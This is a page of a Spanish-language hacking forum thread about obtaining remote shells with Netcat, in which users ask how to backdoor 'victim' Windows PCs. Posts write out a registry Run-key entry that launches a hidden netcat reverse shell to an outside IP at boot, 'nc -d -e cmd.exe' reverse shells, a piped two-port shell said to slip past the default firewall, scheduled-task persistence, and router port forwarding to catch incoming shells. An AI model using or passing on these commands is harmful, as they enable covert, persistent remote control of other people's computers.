elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 04:15  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Paper: Obtener shell con Netcat
PyrOS--9889, _3xpL017_ y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 Ir Abajo Imprimir
Autor Tema: Paper: Obtener shell con Netcat  (Leído 59030 veces)
Kase

Desconectado Desconectado

Mensajes: 771


Tavrist


Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #135 en: 19 Febrero 2006, 07:01 »

Veamos, tengo mi pc a la escuxa del puerto 25 y 80, tengo a mi victima con el netcat instalado y con esta entrada en su registro:

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windows /t REG_SZ /d "C:\windows\system32\nc -d 80.37.0.3| cmd.exe | nc -d 80.37.0.3"

Bien al arrancar su pc se conectaria a mi pc, pero ai un problema que nadie a comentado,  mi victima usa tarjeta inalambrica y tarda entre 60 y 120 segundos aproximadamente en conectarse ainternet, por lo tanto
Su netcat a intentado conectarse a mi antes de que tuviera conexion a internet,  y ya no vuelve a intentarlo.

Tiene esto solucion?


bueno boy empesando en esto, pero supongo que la solucion es poner que se conecte como 5 minutos despues? o que tal que lo haga a una ora que ya sabes que se conectara?


yo tengo una duda que no se si ya la ayan puesto, no logree leerme las 9 paginas >.< solo yege ala 3 y me arte *.*
bueno es... si tienes el acceso remotamente para poner al netcat, y ejecutar los comandos y todo eso,   tiene algun caso?... creo que ya tienes acceso remotamente ala pc... >.< pa que kieres volverte a meter si ya estas adentro... lo que le veo de interes seria el poder dejarlo como backdoor...  pero si tengo ip dinamica,  y  la victima tambien.. posss :S que hago?
aora tambien ay un router (de la victima) y un modem adsl (mio) de pormedio... asi que lo que tendria que hacer es?  poner al netcat, en la victima. a que mande la informacion ala ip de mi modem? y  umm no me explico creo  lo  pongo con manzanas xD

yo  ---x ---- mi modem <-------------router<-------victima
(esto en el caso de que yo este en espera )
inverso
yo ----------->mi modem------------>router----x----victima

como soluciono esto...    en este caso si tengo axeso fisico ala pc victima.. pero cuando no yege a tener el acceso ( en un futuro, con otra victima) que puedo hacer? 

o me pregunto si abra alguna forma de expecificarle al netcat que mande los paketes a tal ip y lugo a tal ip? o.O 


aora es necesario los 3 caso,  por que yo senti que con el primero o el segundo termina ciendo = que el tercero... osea ya los 3 son "indetectables" en  pc sin protexion asi que keda a mi decision  cual haga, o ay una opcion mejor que otra

y tenia otra duda pero se me fue la onda >.<  bueno gracias por su apoyo, por adelantado...
 
ya recorde otra 
Citar
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25

eso en rojo  es una   l (L)  o que p*** signo es?,  como lo pongo  xD  gracias por su comprension xD aun soy noob


___________________________________________
editado

bueno ya resolbi este problema
Citar
aora tambien ay un router (de la victima) y un modem adsl (mio) de pormedio... asi que lo que tendria que hacer es?  poner al netcat, en la victima. a que mande la informacion ala ip de mi modem? y  umm no me explico creo  lo  pongo con manzanas xD

yo  ---x ---- mi modem <-------------router<-------victima
(esto en el caso de que yo este en espera )
inverso
yo ----------->mi modem------------>router----x----victima

como soluciono esto...    en este caso si tengo axeso fisico ala pc victima.. pero cuando no yege a tener el acceso ( en un futuro, con otra victima) que puedo hacer? 

con un no-ip,  xD  no lo avia pensado,   pero me pregunto si embes de ejecutar el shell   ummm ejecutar el cmd  remotamente,  podria hacer  que ejecute  ftp remotamente,  o telnet ( kisas)  poke en el caso de que kiera pasarme archivos de esa pc ala mia, o yo a esa pc ...  pues no se como aserlo con  cmd  >.<    se  que con   ftp sep uede, o porlomenos  lo comprendo mas...

umm como pdria pasarme archivos  con el ms-dos, en todo caso que ejecute cmd enves de  ftp    o.O

espero  me aya explicado >.<
« Última modificación: 19 Febrero 2006, 22:01 por Tavrist » En línea

firewer

Desconectado Desconectado

Mensajes: 120


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #136 en: 21 Febrero 2006, 21:09 »

Tavrist lo de hacer que se ejecute 5 minutos despues ya lo habia pensado, la cuestion es COMO e mirado de hacerlo a
traves del programador de tareas

at 8:00p /every: "c:\windows\netcatip.bat"

ese comando se ejecutaria a las 20:00 UNA vez al mes, en el numero del mes que se ejecute.
y habria que crear 31 tareas y duplicadas para que se ejecutara x la mañana y noche si no sabemos cuando se conecta. ya son 62 tareas..

Pero si quiero que lo haga diariamente con una sola tarea tengo que hacerlo a traves de inicio/todos los programas.... y si le copio el archivo.job en su carpeta c:\windows\tasks

Da error al iniciar puesto que no en todos los  pcs tienen el mismo nombre de usuario lo pongo para que se ejecute como "system" pero no da resultado.

Alguien me da alguna solucion?
En línea
Kase

Desconectado Desconectado

Mensajes: 771


Tavrist


Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #137 en: 22 Febrero 2006, 15:51 »

enves de hacer revers shill  as  shill normal, en ese caso, la compu  victima se kedara esperando el atake,  enves de iniciar el atake 1 sola ves...  el problema  seria el firewall, pero con que pase  la primeraves,  basta  =)


ay un problema

 me ocurre un problema  logro hacer el revers shill en pcs,  en red,  o en pc remotamente,  pero cuando me enfrento remotamente a una red..  (auke tengo acceso fisico) no logro hacer el revers ni nada

seme presenta el problema que ponerle en el campo de ip  por ejempo  nc -d -e cmd.exe x.x.x.x xx
eso en el ekipo victima, ( mi pc esta en red)  asi que no se si en x.x.x.x  pongo  mi  ip ( de mi pc) o la ip publica ( la del ruter) si pongo la publica, los paketes llegan a ruter pero no se mandan ala pc, si pongo la de pc no encuentra el camino...

intente con un no-ip,  pero sucede =  no se si lo hago bien o mal...  en el no-ip  e tratado de poner =  la ip publica y la ip de mi pc...
pero se sigue perdiendo los paketes. o.O 
(si descarge el programa de no-ip y si tengo cuenta y un el host de no-ip, y si si lo activo en mi pc,  y sin embargo no llega la informacion o.O.. no se si no redireciona,o si necesito algo mas,  como  una guia de np-ip  xD auke es tonto por que ya es bastante sencillo, y no lo logro hacer funcionar >.<)

si desactive el firewall  y si logro hacer el revers shill y el shill normal, dentro de la red, y remotamente. a ekipos con ip publica
no se si sele puedo especificar al nc que despues de la ip publica aya una con red, (la cual tambien conozco)
« Última modificación: 22 Febrero 2006, 17:00 por Tavrist » En línea

zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.123


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #138 en: 23 Febrero 2006, 02:15 »

creo que con citar esta parte de tu post contestare a todas tus dudas:

Citar
seme presenta el problema que ponerle en el campo de ip  por ejempo  nc -d -e cmd.exe x.x.x.x xx
eso en el ekipo victima, ( mi pc esta en red)  asi que no se si en x.x.x.x  pongo  mi  ip ( de mi pc) o la ip publica ( la del ruter) si pongo la publica, los paketes llegan a ruter pero no se mandan ala pc, si pongo la de pc no encuentra el camino...

Para resolverte tu duda cabe hacer recordar que existen dos tipos de ip:
IP privada: Este tipo de ip no son accesibles desde internet solamente son accesibles a equipos que pertenescan a tu propia red o dominio.
IP publica: este tipo de ip son accesibles desde cualquier ordenador con acceso a internet debido a que son ips que estan conectadas directamente a internet.

Una vez entendido esto procedo.
La ip que tienes en tu computadora es una ip privada por lo tanto nunca deberas de poner esa ip en tu equipo victima en caso de que ella este en una red distinta a la tuya (que es tu caso).

Lo que tienes que hacer aqui es sencillo, en lugar de poner la ip de tu ordenador, tendras que poner la ip de tu router...
OJO!!!!
Citar
la ip publica ( la del ruter) si pongo la publica, los paketes llegan a ruter pero no se mandan ala pc
esto que tu mencionas es completamente correcto, por ello siemore que vayamos a utilizar la ip del router primero debemos de configurarlo de forma que al momento de recibir una peticion en el puerto 4000 (por ejemplo), automaticamente la redireccione a la ip privada de nuestra computadora.

A este proceso se le conoce como mapear puertos en el router, ¿como hago esto? el problema consiste en tener acceso a nuestro router asi como tambien tendremos que buscar una opcion que diga "ip fowarding", "NAT", "Virtual server" o algo por estilo, no me puedo poner a explicarte como hacer esto debido a que para ello ocupamos saber el modelo de tu router en concreto y ademas tendremos que ponernos a leer el manual para explicarte como hacerlo paso por paso, cosa que no creo necesaria, solo basta con que busques el manual de tu router y le des una leida tu mismo ;)

ya te explique en teoria como seria solo falta que lo pongas en practica con tu propio router.

saludos
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
lord_iNtro

Desconectado Desconectado

Mensajes: 6


Every time I think computers...


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #139 en: 23 Febrero 2006, 17:15 »

Si, puedes enviarle un programa hecho por ti por tftp, por ejemplo,  que haga que el netcat realice la conexion a tu host cada minuto si no está ya conectado.. una idea  :-\
En línea

^^Solo se que no se nada, mas de eso me baso^^
firewer

Desconectado Desconectado

Mensajes: 120


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #140 en: 23 Febrero 2006, 20:52 »

lord_iNtro 

Eso es muy facil de decir.. pero no de hacer! llevo mas de una semana intentandolo..
En línea
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.123


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #141 en: 24 Febrero 2006, 00:02 »

¿y por que no utilizan el programador de tareas?

claro que no lo tendrian que poner cada minuto, aunque si pueden hacerlo cada media hora u hora entera(es una sugerencia).
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
AKuMA^Newbie

Desconectado Desconectado

Mensajes: 5



Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #142 en: 11 Marzo 2006, 01:31 »

Publicado por: zhyzura (¡enhorabuena, muy buen texto!)

[VOLTEAR LA SHELL CON NETCAT]

Nota: en este tipo de conexion no vamos a necesitar que ambos equipos tengan ip publica, basta con que el atacante tenga una, ademas de que ambos equipos tengan habilitada la entrada en el puerto 80 y la salida en el puerto 25.

En primer lugar vamos a necesitar poner dos netcat a la escucha en el equipo atacante (cada uno en su propia ventana o indicador de comando, como gusten llamarle).

en uno ponemos el puerto 80:
Código:
nc -vv -l -p 80

y en el otro ponemos el puerto 25:
Código:
nc -vv -l -p 25

Ya que tenemos todo listo, basta con que el equipo victima ejecute el siguiente comando (recordar que en mi ejemplo el atacante tiene ip 192.168.1.2):

Código:
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25

y walaa!!!!! ya tenemos la shell de nuestra victima y el firewall del sp2 no dira ni pio, ya que por defecto admite la entrada de informacion por el puerto 80 y la salida por el 25.

=======================================

He seguido todos estos pasos y la "víctima" al escribir "nc ip.ip.ip.ip 80 | cmd.exe | nc ip.ip.ip.ip 25" ha obtenido el siguiente mensaje:
"Microsoft" no se reconoce como un comando interno o externo, programa o archivo por lotes ejecutable.

 :huh: :huh: :huh: :huh: ¿¿Esto que locura es??

P.D: ¿que función desempeñan las barras verticales "|"?
En línea

Yo SÍ sé lo que es trabajar duro, porque lo he visto...
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.123


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #143 en: 14 Marzo 2006, 03:44 »

te dice eso por que no tienes el programa instalado en esa computadora, bajatelo de alguna pagina web, es facil de encontrar.

las barras verticales no son "L" esas barras las pueden sacar en codigo ASCII con Alt+124 y listo, y nos sirve para unir en este caso dos comandos a la vez los cuales son conectarse a una ip remota mandandole cmd y dejando otro puerto en escucha.
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
AKuMA^Newbie

Desconectado Desconectado

Mensajes: 5



Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #144 en: 14 Marzo 2006, 16:21 »

Pero es que el programa sí está instalado en la otra computadora y la víctima escribió los comandos desde el directorio que estaba instalao.  :huh:

... Ya sé que las barras verticales no son "L"...  :-[  Mas sencillo escribir alt gr+1.. no?
En línea

Yo SÍ sé lo que es trabajar duro, porque lo he visto...
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.123


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #145 en: 17 Marzo 2006, 00:52 »

ahora que me fijo un poco xD

Citar
"Microsoft" no se reconoce como un comando interno o externo, programa o archivo por lotes ejecutable.
por lo que veo tecleo al principio microsoft y por eso no hizo nada :P, intenten a realizar nuevamente la prueva y nos cuentan...
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
K41N

Desconectado Desconectado

Mensajes: 6


Ctrl+Alt+Supr


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #146 en: 22 Marzo 2006, 12:23 »

Zhyzura muy bueno el manual... contigo aprenderemos muxo!!!!

  He  estado practicando con el NC y haciendo la prueba de voltear
la reverse shell , mi pc elige otros puertos para salir (2213,2214)
pero supongo que es porque lo he echo el localhost no? Lo que no entiendo es por que no avisa el Outpost de 1 conexion saliente tan
sospechosa....

  SALUDOS
 
En línea

Mi HD es mi cerebro, mi firewall son mi ojos, mi CPU son mis manos, Sistema= 100% Seguro... (ahh y el ojete no es un bug)
BloodeR

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #147 en: 24 Marzo 2006, 14:59 »

pregu.. es posible obtener shell remota sin acceso fisica a la pc victima? si es posible, como hacerlo?
En línea
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.123


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #148 en: 25 Marzo 2006, 01:12 »

respuesta:

 - troyanos
 - exploits

creo que te hace falta leer un poco mas al respecto...
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
yermain

Desconectado Desconectado

Mensajes: 40


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #149 en: 25 Marzo 2006, 05:53 »

Bueno, pues el manual está muy bueno, ¡felicidades zhyzura!

Mi duda es más bien si puedo mandarle el netcat a la víctima por tftp, ya que en los post que he leído de tftp los comandos se ejecutan desde la víctima que accede a nuestro servidor, y para ello hay que tener su shell remota por ejemplo con el netcat, vaya círculo vicioso  :P ¿hay alguna forma de usar el tftp con un puerto distinto al 69? ya que estoy en red tras router y firewall y no hay comunicación directa PC-PC de la misma red, es a través del router  :P
En línea
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats